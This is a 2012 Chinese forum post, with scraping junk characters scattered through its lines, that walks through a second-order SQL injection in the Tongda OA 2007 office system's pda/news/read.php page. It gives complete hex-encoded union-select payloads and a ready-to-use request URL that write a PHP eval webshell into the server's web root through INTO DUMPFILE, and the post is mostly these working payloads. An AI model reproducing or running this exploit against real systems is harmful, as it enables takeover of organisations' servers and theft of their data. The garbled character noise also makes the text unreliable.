目前测试通达OA2007版本8 G7 ^, k( f4 H0 v# T; j2 p' f
2 k3 N, Z+ x: @1 e7 w
4 ]+ N) q" G+ U% ?1 T& y) yOffice Anywhere 2007 网络智能办公系统
; e$ \6 F! t2 n) U
0 f8 v5 \7 u/ yhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
4 P* O5 j) n) N5 s2 [ ( |5 [7 p" p0 U
- t1 x, k/ j% z" u# d# I% B
这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
( w* c# o1 { k# X" M- Y0 N
. e/ f. t4 Q. X1 j2 N/ ]例如：SELECT * from USER where USER_ID='{$USERNAME}'
* r; T; ^1 i3 @8 N其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了! f" _/ s9 E4 @
; D4 L' {8 C; c, {5 \; }3 H4 s3 ?2 b这个时候我们是不是可以组合起来使用哪？7 A, Z: i2 i- w/ R- \3 B
! x6 V4 l" V/ `% ` a) \' a* f. M
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样/ M% R. f0 l# y
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
9 z) p! `. O* c! _7 L V1 J # [# p. b) q# E4 p, g9 v5 K! A. t
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
. T0 a3 M! A" Y* m: h 8 W' A, M3 M7 v4 C
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。: Q* Z, E" j4 Z1 B8 _4 c7 w
2 l# `) b+ J/ s- [8 ~
那么我们用字符串格式带入进行hex编码9 E. S3 R) X& ?2 P3 n; w% a* h
6 f T, y/ H$ ^# m7 ]6 t! F) l6 q
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23& E% A! k) L$ Z3 W9 {6 _# q2 i
4 |" ^/ }& d" W! c5 c
测试ok，获取oa的webshell: Y- m' N7 A# d- _9 A1 z( l8 M# T
7 } c) ?9 v* `$ D" T0 \ . n: C. ~- f: z" P6 V/ ]( U: I
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
$ x3 S% u! g: p& S" t; E直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
分享
支持
反对